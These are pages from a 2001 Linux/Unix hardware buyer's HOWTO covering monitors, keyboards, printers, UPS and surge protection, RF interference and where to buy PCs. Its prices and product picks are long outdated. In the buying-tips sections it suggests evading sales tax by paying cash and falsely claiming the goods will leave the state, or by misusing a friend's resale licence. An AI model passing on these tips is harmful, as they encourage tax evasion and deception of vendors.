CGA | 640x200 | 2 | 15.85 KHz | 60 Hz | Obsolete
 | 320x200 | 4
EGA | 640x350 | 16 | 21.80 KHz | 60 Hz | Obsolete
VGA | 640x480 | 16 | 31.50 KHz | 60 Hz |
 | 320x200 | 256
VESA VGA | 640x480 | 16 | 38.86 KHz | 72 Hz |
 | 320x200 | 256
VESA SVGA | 800x600 | 16 | 48.01 KHz | 72 Hz |
 | 640x480 | 256
8514/A | 1024x768 | 16 | 35.20 KHz | 43.5 Hz | Obsolete
XGA | 640x480 | 65536 | ?? | ?? | Obsolete
 | 1024x768 | 256
VESA 1024x768 | 1024x768 | 256 | 56.48 KHz | 70 Hz |

The Horizontal and Vertical Frequency columns refer to the monitor scan frequencies.

The vertical frequency is the upper limit of the monitor's flicker rate; 60Hz is minimal for ergonomic comfort, 72Hz is VESA-recommended, and 80Hz is cutting-edge. At resolutions above VGA, horizontal scans take long enough that the monitor may never reach anywhere near the vertical-frequency maximum; how close it gets is a function of the horizontal-scan frequency (higher is better).

For more information on how to avoid the evil screen flicker, see the XFree86 Video Timings HOWTO, a tutorial written by your humble editor and included with the XFree86 distribution.

It's no longer possible to find MDA video boards and monitors out there. Anyway, prices for SVGA have collapsed so totally that it's wouldn't be worth bothering.

XGA is an IBM-proprietary included for completeness, but is vanishingly rare in the clone market. 8514/A is another IBM standard supported by a few graphics accelerator cards. It is interlaced, and thus has a tendency to flicker. The VESA 1024x768 standard makes XGA and 8514/A obsolete.

SVGA or `Super VGA' strictly refers only to 800x600 resolution, but is widely used for 1024x768 and even 1280x1024 resolutions. Standards above 1024x768 are weak and somewhat confused.

These days, most vendors bundle a 15" or 17" monitor and super-VGA card with 1024x768 resolution in with their systems. Details to watch are the amount of RAM included (which will affect how much of that maximum resolution and how many colors you actually get), and whether the memory is dual-ported VRAM (slightly more expensive but much faster).

More information on video standards is available at the Video Display Standards page of the PC Guide site.

3.6. Selecting a Monitor

3.6.1. What To Look For On The Spec Sheet.

  • Dot pitch of 0.28 or smaller on a 12"-15" monitor; 0.30 is acceptable on larger ones, especially 19" to 21" screens (but look extra hard at 0.25 21-inchers like the Viewsonic 21PS or Nokia 445X). Dot pitch is the physical resolution of the screen's phosphor mask. Larger dot pitches mean that small fonts and graphic details will be fuzzy.

  • 72Hz or better vertical scan frequency, to cut flicker.

  • Non-interlaced display. Interlacing cuts the required scan frequency for a given resolution in half, but makes flicker twice as bad. As a result, interlaced monitors are rapidly disappearing; don't get stuck with one.

  • Does it have a tilt-and-swivel base? Adequate controls, including both horizontal and vertical size and horizontal and vertical centering? A linearity control, a trapezoidal control, and a color-temperature control are all pluses; the last is particularly important if you compose graphics on screen for hardcopy from a printer.

  • For X use, a 14", .28mm dot pit, non-interlaced 72Mhz monitor at 640x480 resolution is the bare minimum for comfortable use, and that resolution leaves you rather squeezed for screen real estate. 1024x768 is much better. If your budget will stand it at all, a 17" or 20" monitor is a good investment. A 17" monitor is minimum if you're going to go with 1280x1024 of 1600x1200 resolution.

If you can, buy your monitor from someplace that will let you see the same monitor (the very unit you will walk out the door with, not a different or `demo' unit of the same model) that will be on your system. There's a lot of quality variation (even in "premium" monitor brands) even among monitors of the same make and model.

Another good reason to see before you buy, and carry it home yourself, is that a lot of monitors are vulnerable to bumps. The yoke can get twisted, producing a disconcerting tilt in the screen image.

The Caveat Emptor guide has a good section on evaluating monitor specifications. And there's a database of monitor specs at The Big Old Monitor List.

3.6.2. Eric Buys A Big Monitor: Smart Shopping Tips

In early 1996 the good folks at O'Reilly Associates dropped several $1000 checks on me in relatively quick succession (payment for fast-turnaround technical reviews). I decided to use the money to treat myself to a really good monitor.

This page tells you how I did it. Specific specs and pricing information will date quickly, but the method should still be good years from now.

My existing monitor wasn't bad -- a 17-inch Swan 617 that I could drive at a bit above 1024x768. Still, I yearned for more real estate -- especially vertical real estate, so I could view full PostScript pages using a legible font.

This brings us to our first prescription: be clear about what you want. It's easy, and very expensive, to buy more monitor than you'll really use.

I knew I wanted something in the 19-to-21-inch range, with 1280x1024 or higher resolution. I knew this would probably cost me about $2000, and could afford it. I knew I didn't need one of the monster projection monitors further upmarket, with screen sizes 24" and up. These will typically cost you $4K or so and are too big for desktop use anyway.

I also knew I didn't need one of the special true-color monitors designed for photo composition, making print separations, and so forth. These creatures (always Trinitrons) have better, denser color than conventional tubes but at a hefty price premium (and usually at some cost in available resolution). If all you're going to do most of the time is 16 or 256-color X screens, you don't need this capability.

Once you've settled on what you need, gather comparative data. It was 1996, so I started out by making phone calls to manufacturer 800 numbers. Then I discovered that almost all the manufacturers had Web sites, with technical specs for their monitors on them. Today, you'd go to the Web first.

(This space used to include detailed technical data on what I found " model numbers, resolutions, reviews of manufacturer websites, etc." but I've removed it because it's all five years out of data now.)

This wasn't at all a hard call. The ViewSonic 21PS and Nokia 445X stood out from the pack immediately; their combination of high bandwidth with a 21-inch screen size and ultra-fine .25 dot pitch promised better performance than the general run of .28-pitch monitors.

Nor was the choice between the two very hard. ViewSonic's 21PS is $600 less expensive than Nokia's 445X for very similar performance. And, other things being equal, I'd rather buy a monitor from a specialist monitor manufacturer than a general consumer electronics outfit best known for its cellular phones.

So I determined to order a ViewSonic 21PS.

This left me with a second problem. My ATI Mach 32 can't drive a monitor at higher than 1280x1024 resolution and 94MHz bandwidth. So it wouldn't be able to drive the 21PS at 1600x1200. I wound up buying a Mach 64.

The combination worked wonderfully (two years later I discovered that VA Linux Systems bought the same monitor for its high-end systems). The only problem I have with it is that monitor is way bright even dialed down to its dimmest setting. You'll need a strong light in the room where you install it. Also, be aware that the only really convenient way to move one of these monster monitors is with a forklift!

3.7. Keyboards

It's important to get a high quality keyboard with good key feel. See the typing-injury FAQ from sci.med.occupational to see what happens if you don't. Carpal tunnel syndrome is no fun for anyone, but it hits hackers particularly hard. Don't be a victim!

Hal Snyder of Mark Williams, Co sent us the following caveat: "We find that about 10% of cheap no-name keyboards do not work in scan code set 3. We are interested in scan code set 3 because only there can you reprogram the keyboard on a per-key basis as to whether keys are make-only, make-break, or autorepeat. It is a big win for international support and for X."

He continues: "Keytronic, Cherry, and Honeywell keyboards, as well as a large number of imports, work fine. My advice is to either buy a respected brand of keyboard, or deal with a vendor who will allow you to return an incompatible keyboard without charge."

Allen Heim <ajh@netscape.com> writes: I'm sold on NMB keyboards (http://www.nmbtech.com/), available from Global Computer (http://www.globalcomputer.com/), or at (800) 8-GLOBAL. Their line of mechanical-switch keyboards now have a lifetime warranty, and I've just ordered my second RT-8200 unit. I don't see it listed on their website currently, but I do see their "Windows 95-enhanced" model, the RT-8200W. It's the same thing, but with extra keys (which may be programmable; think of the Emacs "meta" key--could be useful).

Following the wave of mid-1990s publicity about repetitive-strain injuries, ergonomic keyboards have become increasingly common. One that looks promising to your editor (though I haven't yet used it) is the Marquardt MiniErgo MF2, from Marquardt Switches, Inc.; 2711 Route 20 East, Cazanovia NY 13035, phone (315)-655-8050; suggested list price $170, AT-compatible interface). Michael Scott Shappe <mshappe@jeeves.net> sent me a rave review of the Marquardt after having used it about six months.

The MF2 features a conventional QWERTY layout, but with the right and left halves split apart and rotated about 30 degrees towards each other in a shallow V shape. The theory is that being able to angle your arms inward and your elbows out produces a less stressful typing position.

The MF2 has no keypad, but it does have the standard 12 function keys across the top and arrow keys at the point of the V (meant to be thumb-operated).

I have seen and used a device called the Maltron ergonomic keyboard. This keyboard splits the keys into two main groups, each arranged in a dished hollow. Each hand also has easy access to separate thumb pads of nine keys each; there is one numeric and arrow-key pad in the center of the unit, between the right and left-hand groups. Also, the keys in each group do *not* have the alternate-row staggering of the conventional (Scholes) keyboard; this subtle change reduces torsional stress on the fingers and wrists tremendously.

I found the Maltron easy to use, and regretted having to give it back.

For more details on many ergonomic keyboards and typing-injury issues in general, see Dan Wallach's FAQ on repetitive strain injuries and ergonomic input devices, published monthly in news.answers

3.8. Floppy Drives

There's not much to be said about floppy drives. They're cheap, they're generic, and the rise of CD-ROM drives as a cheap distribution medium has made them much less important than formerly. You only ever see the 3.5-inch `hard-shell' floppies with 1.44MB capacity anymore.

You'll probably never use floppies for anything but first boot of a new operating system. Bootable CD-ROMs, standard of most PCs these days, eliminate even that use. So go ahead and settle for cheap Mitsumi and Teac floppy drives. There are no `premium' floppy drives anymore. Nobody bothers.

3.9. Printers

There's one huge gotcha about printers: Don't Get a `GDI' printer!

3.9.1. GDI printers: avoid!

Low-end printer manufacturers have been increasingly moving towards `GDI' or `Windows' printers for their laser or LED models. These have the unfortunate characteristic of being, at worst, unusable from Unix; and at best, useable only with reduced resolution (e.g., 300 dpi from a 600 dpi printer).

The problem is that the design of laser printers inherently requires that data move onto the imaging drum at a precisely-controlled rate, and so laser (and LED) printers have traditionally included a CPU of moderate speed and enough RAM to image an entire page, either as a complete bitmap or as ASCII, using a quick font rasterizer to form images on-the-fly. GDI printers, however, offload this responsibility to the computer, and therefore require very specialized drivers that (a) are not available for any Unix, AFAIK; and (b) slow down the computer a lot when printing is underway.

Most GDI printers DO support HP's PCL in a lower resolution, so they can often be used from Unix via Ghostscript, but only in 300 dpi and/or missing some features. They may also be slower in this mode than in their native GDI modes. In order to print at 600 dpi with Ghostscript, a PCL printer must support HP's PCL at level 5e or better, so printer purchasers should look for that in any non-PostScript model, at least at the moment. (Naturally, all of this could change if/when support is added to Ghostscript for more esoteric models; but AFAIK, this is the current set of limitations.)

Finally, I've seen one extra twist on this already-twisted marketplace: The Brother HL-720 is advertised as supporting `PCL 5e for DOS' (or words to that effect). What this means is that it's a GDI model with a DOS driver that takes PCL 5e input and translates it to the printer's native GDI mode. Needless to say, this is useless for Unix.

GDI printers are a bad design even for the DOS lemmings, because they slow the machine down significantly while printing is going on. Like `WinModems', they're a sleazy way for manufacturers to save a few bucks. Our advice is, buy a printer with native Postscript and avoid all this crap.

3.9.2. Non-GDI printers

There really isn't all that much to be said about printers; the market is thoroughly commoditized and printer capabilities pretty much independent of the rest of your hardware. The PC-clone magazines will tell you what you need to know about print quality, speed, features, etc. The business users they feed on are obsessed with all these things.

Most popular printers are supported by GhostScript, and so it's easy to make them do PostScript. If you're buying any letter-quality printer (laser or ink-jet), check to see if it's on GhostScript's supported device list -- otherwise you'll have to pay a premium for Postscript capability! Postscript is still high-end in the MS-DOS market, but it's ubiquitous in the Unix world.

Warning, however: if you're using ghostscript on a non-Postscript printer, printspeed will be slow, especially with a serial printer. A bitmapped 600 dpi page has a lot of pixels on it. Further, if you're doing much printing, ghostscript will create enormous spool files. (megabytes/page). At today's prices, paying the $750 or so for Postscript capability makes sense.

If you're buying a printer for home, an inkjet is a good choice because it doesn't use gobs of power and you won't have the toner/ozone/noise/etc mess that you do with a laser. If all you want is plain-ASCII, dot-matrix is cheaper to buy and run.

Inkjets are great in that they're cheap, many of them do color, and there are many kinds which aren't PCL but are understood by Ghostscript anyway. If you print very infrequently (less than weekly, say), you should be careful to buy a printer whose print head gets replaced with every ink cartrige: infrequent use can lead to the drying of the ink, both in the ink cartrige and in the print head. The print heads you don't replace with the cartrige tend to cost nearly as much as the printer (~$200 for an Epson Stylus 800) once the warranty runs out (the third such repair, just after the warranty expired, totalled one informant's Stylus 800). Be careful, check print head replacement costs ahead of time, and run at least a cleaning cycle if you don't actually print anything in a given week. (Conversely, toner starts out dry, and ribbon ink won't evaporate for years...if you truly print only rarely, but neither a dot matrix nor a laser makes sense, consider buying no printer and taking your PostScript files to a copy shop...)

A parallel interface is a cheap way to make your printer print a lot faster than a serial line, and everyone's got a parallel port in their PC.

A few printers for the MS-DOS market require a special controller card and proprietary cable to do PostScript. These require MS-DOS software and typically won't run under Unix at all.

Meanwhile, there are several true 600 dpi lasers that grok PCL 5e, yet cost less than $500 retail. Currently (December 1997) these include the Lexmark Optra E (and E+), the HP 5L (and 5L with suffix, and probably 6L), and the Brother 760. As you can't easily buy a new hard drive smaller than 2 gigabytes, tens of megabytes of spare space in /var/spool should be the accepted norm, rather than a problem, for new systems; I've also noticed that PCL 5e seems to include some amount of compression (probably RLE or font encoding) which works rather well for text, further reducing the spool requirements.

One of our spies says good things about the Canon BJC-240 and 250. He reports they preint well with Ghostscript and are more reliable than Deskjets.

I personally have a LaserJet 6MP, and like it.

3.10. Power Protection

3.10.1. Overview

Finally, I strongly recommend that you buy a power conditioner to protect your hardware. MOV-filtered power bars make nice fuses (they're cheap to replace), but they're not enough.

The technical info in the remainder of this section is edited from material supplied by David E. Wexelblat >dwex@mtgzfs3.att.com<.

There are several levels of power protection available to the home computer user. I break this down into 4 levels; others may have different ways of classifying things. The levels are:

  1. Surge Suppressor

  2. Line Conditioners

  3. Standby Power Supplies

  4. Uninterruptible Power Supplies

And here's what they mean:

3.10.2. Surge suppressors

These are basically a fancy fuse between the source and your hardware; they clamp down spikes, but can't fill in a low voltage level or dropout.

This is a bare minimum level of protection that any piece of expensive electronics should have. Note that this applies to more than just AC power; surge suppressors are available for (and should be used on) phone lines, and RS-232 and parallel connections (for use on long lines; generally not needed if the devices is colocated with the computer and all devices are protected from outside sources). Note also that all devices connected to your computer need to be protected; if you put a surge suppressor on your computer but not your printer, then a zap on the printer may take out the computer, too.

An important fact about surge suppressors is that they need to be replaced if they absorb a large surge. Besides fuses, most suppressors rely on on components called Metal-Oxide Varistors (or MOVs) for spike suppression, which degrade when they take a voltage hit. The problem with cheap suppressors is that they don't tell you when the MOV is cooked, so you can end up with no spike protection and a false sense of security. Better ones have an indicator.

You can buy surge suppressors at any Radio Shack; for better prices, go mail-order through Computer Shopper or some similar magazine. All of these are low-cost devices ($10-50).

3.10.3. Line Conditioners

These devices filter noise out of AC lines. Noise can degrade your power supply and cause it to fail prematurely. They also protect against short voltage dropouts and include surge suppression.

My Tripp-Lite 1200 was typical of the better class of line conditioners; a box with a good big soft-iron transformer and a couple of moby capacitors in it and no conductive path between the in and out sides. With one of these, you can laugh at brownouts and electrical storms. You can get for $139 or so by mail order. A fringe benefit of this little beauty is that if you accidentally pull your plug out of the wall you may find you actually have time to re-connect it before the machine notices (I did this once). But a true SPS or UPS is better.

Netter Trey McLendon has good things to say about Zero Surge conditioners. He says: "Our systems at work [...] have been protected for 2.5 years now through many a violent storm...one strike knocked [out] the MOV-type suppressors on a Mac dealer's training setup across the street from us. The Zero Surge just sort of buzzed when the surge came in, with no interruption whatsoever. The basic principle is this: ZS units slow down the surge with a network of passive elements and then sends it back out the neutral line, which is tied to ground _outside at the box_ by code. MOV units shunt the surge to ground _at the computer_, where it leaps across serial ports, network connections, etc. doing its deadly work."

Price vary widely, from $40-400, depending on the power rating and capabilities of the device. Mail-order from a reputable supply house is your best bet. Line conditioners typically don't need to be replaced after a surge; check to see if yours includes MOVs.

3.10.4. Standby power supplies (SPSs)

These devices are battery-based emergency power supplies that provide power for your system via an inverter if the power fails. An SPS will generally have all the capabilities of a line conditioner as well.

Note: these devices do not come on line until after the power fails, and have a certain amount of delay (typically some milliseconds) before they come on line. If the capacitors in your power supply are not large enough, the SPS may not cut in soon enough to prevent your computer from seeing the power failure.

Note also that many SPSs are marketed as Uninterruptable Power Supplies (see below). This is incorrect. Any device with a non-zero cutover time cannot be a true UPS. If the ad mentions a cutover time, it's an SPS, and not a UPS.

The price range for these devices (increasing with increasing peak load capacity and with decreasing cutover time) is $200-2000. An SPS will not need to be replaced after absorbing a large surge.

3.10.5. Uninterruptable power supplies (UPSs)

These devices provide full-time isolation from the incoming AC line through a transformer of some sort. These devices are on-line at all times, and if the AC line fails, the batteries will cut in. Your devices will see no interruption of their incoming AC. UPSs cost more, and provide more features. They are the ultimate in power protection. Many UPSs have an intelligent interface that will notify a connected device of a power failure, allowing it to shut down cleanly. UPSs also provide the capabilities of a line conditioner. The price range (for devices in the size range for a home computer) are $200-$1500. An UPS will not need to be replaced after absorbing a large surge.

Now, given this information, how does one decide what to get? For a system that runs unattended, like most Unix systems, it is best to have a device that provides both power holdover and a power failure signal. Hence, for a Unix system, a UPS or SPS with Unix monitoring software is the best choice.

If the vendor isn't secretive about interface specs, it's fairly simple to write your own daemon to monitor a serial port, and send init a SIGPWR signal when it sees a powerdown notification on the port. Freeware power-monitor demons are available for Linux.

Many UPS/SPS signal ports work by asserting a pin, so that one could use a modem-control serial port on the PC and wire this pin to "Carrier Detect" in order to monitor it. Some, like the APC "SmartUPS" series, actually conduct an ASCII dialog with the host through a serial line in order to accomplish the monitor functions.

Our recommendation for a production Unix environment is a configuration like the following:

  1. An on-line UPS or SPS for the computer system. An intelligent interface is mandatory, along with appropriate software for ordered shutdown.

  2. Surge suppression on all phone lines, and also on serial/parallel lines that leave the room.

  3. Line conditioners on any devices not connected to the UPS. If you do take a power hit, it's cheaper to replace a $50 line conditioner than a $1500 laser printer.

If this is too expensive for you, then downgrade the UPS/SPS to a line conditioner like the TrippLite. But don't go without at least that. Running unprotected is false economy, because you will lose equipment to electrical storms — and, Murphy's Law being what it is, you will always get hit at the worst possible time.

An important question is "How do I know how big a UPS/SPS to get?" The watt rating of the UPS/SPS should be at least the sum of the peak ratings off all equipment connected to it (don't forget the console monitor). Power-supply marketroids tend to quote you capacities and formulas like "sum of VA ratings + 20%" which (surprise!) push you towards costlier hardware. Ignore them. If a watt rating is not given, watts = 0.75*VAmax.

One other consideration is that you typically shouldn't put a laser printer on a UPS — toner heaters draw enough current to overload a UPS and cause a shutdown within seconds. The other thing is that you can't even put the laser printer on the same circuit with a UPS — the heater kicks on every 20-30 seconds, and most UPSs will see the current draw as a brownout. So buy a separate line conditioner for the laser printer.

Finally, read the UPS's installation manual carefully if you're going to use it with other power-protection devices. Some UPSs don't like having surge suppressors between them and the equipment.

David personally recommends surge suppressors and line conditioners from Tripp-Lite (available both mail-order and retail), and UPSs from Best Power Technologies (Necedah, WI - 1-(800)-356-5737). I can enthusiastically second the TrippLite recommendation, but haven't dealt with Best Power at all.

Tripp-Lite has a whole range of products, from a $10 phone-line surge-suppressor, to line conditioners and SPSs with prces in the hundreds of dollars. They have a line of $50-80 line conditioners that are good for most peripherals (including your home stereo :->).

Best Power Technologies sells two lines of UPSs in the range for home systems. The older and more expensive FERRUPS line (which is what David has) has a smart interface, and very good filtering and surge-suppression capabilities. He says "I have a 1.15kVA FERRUPS for my home system, which is overkill with my current hardware (although it rode out a 45 minute power failure with nary a whisper - no reboot). In 1990, I paid ~$1600 for this device, and that has since gone up. They also sell a newer line of Fortress UPSs. These are better suited in price for home systems. I don't know much about them, as they were not available when I bought my UPS. I expect that this is what most people will want to consider, though. In addition, Best sells Check-UPS, a software package (in source form) for monitoring the UPS and shutting it down. I have found Best to be a good company to deal with, with competent, knowledgeable sales people (who will be able to help you pick the right device), and helpful, courteous, and responsive technical support."

Other things to know:

A UPS should be wired directly to (or plugged directly into) the AC supply (i.e. a surge suppressor is neither required nor suggested between the wall and the UPS). In addition, a surge suppressor between the UPS and the equipment connected to it is redundant.

3.11. Radio Frequency Interference

(Thanks to Robert Corbett <Robert.Corbett@Eng.Sun.COM> for contributing much of this section)

Radio Frequency Interference (RFI) is a growing problem with PC-class machines. Today's processor speeds (above 33MHz) are such that the electromagnetic noise generated by a PC's circuitry in normal operation can degrade or jam radio and TV reception in the neighborhood. Such noise is called Radio Frequency Interference (RFI). Computers, as transmitting devices, are regulated by the Federal Communications Commission (FCC).

FCC regulations recognize two classes of computer:

If a PC is to be used in a home or apartment, it must be certified to be FCC class B. If it is not, neighbors have a legal right to prevent its use. FCC class A equipment is allowed in industrial environments.

Many systems are not FCC class B. Some manufacturers build boxes that are class B and then ship them with class A monitors or external disk drives. Even the cables can be a source of RFI.

It pays to be cautious. For example, the Mag MX17F is FCC class B. There are less expensive versions of the MX17 that are not. The Mag MX17 is a great monitor (I wish I had one). It would be painful to own one and not be allowed to use it.

An upgradeable system poses special problems. A system that is FCC class B with a 33 MHz CPU might not be when the CPU is upgraded to a 50 or 66 MHz CPU. Some upgrades require knockouts in the case to be removed. If a knockout is larger than whatever replaces it, RFI can leak out through the gap. Grounded metal shims can eliminate the leaks.

Even Class B systems don't mix well with wireless phonesets (not cellular phones, but the kind with a base station and antennaed headset). You'll often find a wireless phone hard to use withing 20 feet of a Class B machine.

To cut down on RFI, get a good metal case with tight joints, or at least make sure any plastic one you buy has a conductive lining. You can also strip the painted metal-to-metal contacting parts of paint so that there's good conductive metal contact. Paint's a poor conductor in most cases, so you can get some benefit from this.

Prev | Home | Next
Overview of the Market |  | Performance Tuning


How to Buy

The Unix Hardware Buyer HOWTO
Prev Next

10. How to Buy

10.1. When to Buy

It used to be that good configurations for Unix were what the market called `server' machines, with beefed-up I/O subsystems and fast buses. No longer; today's `servers' are monster boxes with multiple power supplies and processors, gigabytes of memory, and industrial-grade air cooling -- they're not really suitable as personal machines. A typical SCSI desktop workstation is as much as you'll need.

Prices keep dropping, so there's a temptation to wait forever to buy. A good way to cope with this is to configure your system on paper, get a couple of initial estimates, then set a trigger price, below the lowest one, at what you're willing to pay. Then watch and wait. When the configuration cost hits your trigger price, place your order.

The advantage of this method is that it requires you to settle in your mind, well in advance, what you're willing to pay for what you're getting. That way, you'll buy at the earliest time you should, and won't stress too much out afterwards as it depreciates.

Before you shop, do your homework. Publications like "Computer Shopper" (and their web site at http://www.computershopper.com) are invaluable for helping you get a feel for prices and what clonemakers are doing. Another excellent site is ComputerESP.

10.2. Where to Buy

The most important where-to-buy advice is negative. Do not go to a traditional, business-oriented storefront dealership. Their overheads are high. So are their prices.

Especially, run -- do not walk -- away from any outfit that trumpets `business solutions'. This is marketing code for the kind of place that will justify a heavy price premium by promising after-sale service and training which, nine times out of ten, will turn out to be nonexistent or incompetent. Sure, they'll give you plush carpeting and a firm handshake from a guy with too many teeth and an expensive watch -- but did you really want to pay for that?

There are two major alternatives to storefront dealerships and one minor one. The major ones are mail order and computer superstores. The minor one is computer fairs.

10.3. Computer Fairs

I used to be a big fan of hole-in-the-wall stores run by immigrants from the other side of the International Date Line, but most of those places have been driven out of the regular retail game by the superstores. The only place you find diaspora Chinese and Indians selling cheap PCs over the counter anymore is at computer fairs. (Usually they're doing it to publicize a mail-order business.)

You can find good `loss-leader' deals on individual parts at these fairs (they're especially good places to buy disk drives cheap). But I call them a minor alternative because it's hard to get a custom SCSI-based configuration tuned for Unix built for you at a fair. So you end up, effectively, back in the mail-order or Web channel.

10.4. Mail Order

Direct-mail or Web buying makes a lot of sense today for anyone with more technical savvy than J. Random Luser in a suit. Even from no-name mail-order houses, parts and system quality tend to be high and consistent, so conventional dealerships don't really have much more to offer than a warm fuzzy feeling. Furthermore, competition has become so intense that even mail-order vendors today have to offer not just lower prices than ever before but warranty and support policies of a depth that would have seemed incredible a few years back. For example, many bundle a year of on-site hardware support with their medium- and high-end "business" configurations for a very low premium over the bare hardware.

Note, however, that assembling a system yourself out of mail-order parts is not likely to save you money over dealing with the mail-order systems houses. You can't buy parts at the volume they do; the discounts they command are bigger than the premiums reflected in their prices. The lack of any system warranty or support can also be a problem even if you're expert enough to do the integration yourself — because you also assume all the risk of defective parts and integration problems.

Cruise through `Computer Shopper' and similar monthly ad compendia. Even if you decide to go with a conventional dealer, this will tell you what their premiums look like. These days most mail-order outfits with enough cash to advertise on glossy paper are good risks.

Watch out for dealers (Spectrum Trading for one) who charge ridiculous shipping fees. One of our spies reports he bought a hotswappable hard disc drive tray that weighed about 3 lbs. and cost $250 and they charged $25 to ship it UPS groud.

Don't forget that (most places) you can avoid sales tax by buying from an out-of-state mail-order outfit, and save yourself 6-8% depending on where you live. If you live near a state line, buying from a local outfit you can often win, quite legally, by having the stuff shipped to a friend or relative just over it. Best of all is a buddy with a state-registered dealer number; these aren't very hard to get and confer not just exemption from sales tax but (often) whopping discounts from the vendors. Hand him a dollar afterwards to make it legal.

(Note: I have been advised that you shouldn't try the latter tactic in Florida -- they are notoriously tough on "resale license" holders).

(Note II: The Supreme Court has ruled that states may not tax out-of-state businesses under existing law, but left the way open for Congress to pass enabling legislation. Let's hope the mail-order industry has good lobbyists.)

10.5. Computer Superstores

Big chain superstores like CompUSA and Circuit City give you a reasonable alternative to mail order. And there are good reasons to explore it -- these stores buy and sell at volumes that allow them to offer prices not far above mail-order. (They make back a lot of their margin on computer games and small accessories like mouse pads, cables, and floppy disks.)

One thing you should not buy mail-order if you can avoid it is a monitor. Monitors are subject to substantial quality variations even within the same make and model. Also, one good bump during shipping can twist the yoke on a monitor so the image is tilted with respect to the bezel. So buy your monitor face-to-face, picking the best out of three or four.

Another good argument for buying at a superstore is that you may have to pay return postage if you ship a mail-order system back. On a big, heavy system, this can eat your initial price savings.

The only major problem with superstores is that the salespeople who staff them aren't very bright or very clueful (it's a sort of Darwinian reverse-selection effect; these are the guys who are fascinated by computer technology but not smart enough to be techies). Most of them don't know from Linux and are likely to push things like two-button mice and (worse!) controllerless modems, that you can't use. Use caution and check your system manifest.

But if you shop carefully and don't fall for one of their name-brand "prestige" systems, you can get prices comparable to mail order with the comfort of knowing there's a trouble desk you can drive back to in a pinch. (Also, you can see your monitor before you buy!)

10.6. Other Buying Tips

You can often get out of paying tax just by paying cash, especially at computer shows. You can always say you're going to ship the equipment out of the state.

A lot of vendors bundle DOS or Windows and variable amounts of apps with their hardware. If you tell them to lose all this useless cruft they may shave $50 or $100 off the system price.

Prev | Home | Next
Special considerations when buying laptops |  | Questions You Should Always Ask Your Vendor


The Unix Hardware Buyer HOWTO

Eric Raymond

esr@thyrsus.com

Revision History
Revision 2.0 | 2001-08-09 | Revised by: esr
Major update. Revisions based on Ultimate Linux Box experience. Caches are on-chip now. DDS4 tape drives are here. 486 machines, CD caddies, and most non-DDS backup technologies are gone
Revision 1.1 | 2001-06-13 | Revised by: esr
Mid-2001 update.
Revision 1.0 | 2001-02-06 | Revised by: esr
Initial revision; but see the history in the introduction.

This is your one-stop resource for information about how to buy and configure Intel hardware for cheap, powerful Unix systems.

Table of Contents
1. Introduction
1.1. Purpose and History
1.2. New versions of this document
1.3. Feedback and corrections
1.4. Related resources
2. Overview of the Market
3. Buying the Basics
3.1. Getting Down to Cases
3.2. Power Supplies and Fans
3.3. Motherboards
3.4. Memory
3.5. Buying a Video Card
3.6. Selecting a Monitor
3.6.1. What To Look For On The Spec Sheet.
3.6.2. Eric Buys A Big Monitor: Smart Shopping Tips
3.7. Keyboards
3.8. Floppy Drives
3.9. Printers
3.9.1. GDI printers: avoid!
3.9.2. Non-GDI printers
3.10. Power Protection
3.10.1. Overview
3.10.2. Surge suppressors
3.10.3. Line Conditioners
3.10.4. Standby power supplies (SPSs)
3.10.5. Uninterruptable power supplies (UPSs)
3.11. Radio Frequency Interference
4. Performance Tuning
4.1. How To Pick Your Processor
4.2. Of Memory In...
4.3. Bus Wars
4.3.1. Bus Types
4.4. Disk Wars: IDE vs. SCSI
4.4.1. Overview
4.4.2. Enhanced IDE
4.4.3. SCSI Terminology
4.4.3.1. Logical: SCSI-1, SCSI-2, SCSI-3
4.4.3.2. Electrical Interface
4.4.3.3. Handshake
4.4.3.4. Synchronous Speed (does not apply for asynchronous option)
4.4.3.5. Path width
4.4.4. Avoiding Pitfalls
4.4.5. Trends to Watch For
4.4.6. More Resources
4.5. Other Disk Decisions
4.5.1. Disk Brands
4.6. Tuning Your I/O Subsystem
4.7. Souping Up X Performance
5. Hardware for Backups
6. Of Mice And Machines
6.1. Mouse Types
6.2. Buying a Mouse
7. Modems
7.1. The Simple Answer
7.2. Overview of the Modem Market
7.3. Internal vs. External
7.4. Pitfalls to Avoid
7.5. What to Buy
7.6. Fax Modems
8. CD-ROMs and Multimedia Hardware
8.1. CD-ROM Drives
8.2. Sound Cards and Speakers
9. Special considerations when buying laptops
10. How to Buy
10.1. When to Buy
10.2. Where to Buy
10.3. Computer Fairs
10.4. Mail Order
10.5. Computer Superstores
10.6. Other Buying Tips
11. Questions You Should Always Ask Your Vendor
11.1. Minimum Warranty Provisions
11.2. Documentation
11.3. A System Quality Checklist
12. Things to Check when Buying Mail-Order
12.1. Tricks and Traps in Mail-Order Warranties
12.2. Special Questions to Ask Mail-Order Vendors Before Buying
12.3. Payment Method
12.4. Which Clone Vendors to Talk To
12.4.1. Some pans
12.4.2. Some picks
13. After You Take Delivery
14. Software to go with your hardware
15. Other Resources on Building Linux PCs
16. Upgrading Older Machines
16.1. Older Memory Types
Next
Introduction


Introduction

The Unix Hardware Buyer HOWTO
Prev Next

1. Introduction

1.1. Purpose and History

The purpose of this document is to give you the background information you need to be a savvy buyer of Intel hardware for running Unix. It is aimed especially at hackers and others with the technical skills and confidence to go to the mail-order channel, but contains plenty of useful advice for people buying store-front retail.

This document is maintained and periodically updated as a service to the net by Eric S. Raymond, who began it for the very best self-interested reason that he was in the market and didn't believe in plonking down several grand without doing his homework first (no, I don't get paid for this, though I have had a bunch of free software and hardware dumped on me as a result of it!). Corrections, updates, and all pertinent information are welcomed at esr@snark.thyrsus.com. The editorial `we' reflects the generous contributions of many savvy Internetters.

If you email me questions that address gaps in the FAQ material, you will probably get a reply that says ``Sorry, everything I know about this topic is in the HOWTO''. If you find out the answer to such a question, please share it with me for the HOWTO, so everyone can benefit.

If you end up buying something based on information from this HOWTO, please do yourself and the net a favor; make a point of telling the vendor ``The HOWTO sent me'' or some equivalent. If we can show vendors that this HOWTO influences a lot of purchasing decisions, we get leverage to change some things that need changing.

Note that in December 1996 I published an introductory article on building and tuning Linux systems summarizing much of the material in this HOWTO. It's available here.

This document actually dates back to 1992, when it was known as the ``PC-Clone Unix Hardware Buyer's Guide''; this was before Linux took over my world :-). Before that, portions of it were part of a Unix Buyer's Guide that I maintained back in the 1980s on USENET.

1.2. New versions of this document

New versions of the Unix Hardware Buyer HOWTO will be periodically posted to comp.os.linux.help and news:comp.os.linux.announce and news.answers. They will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

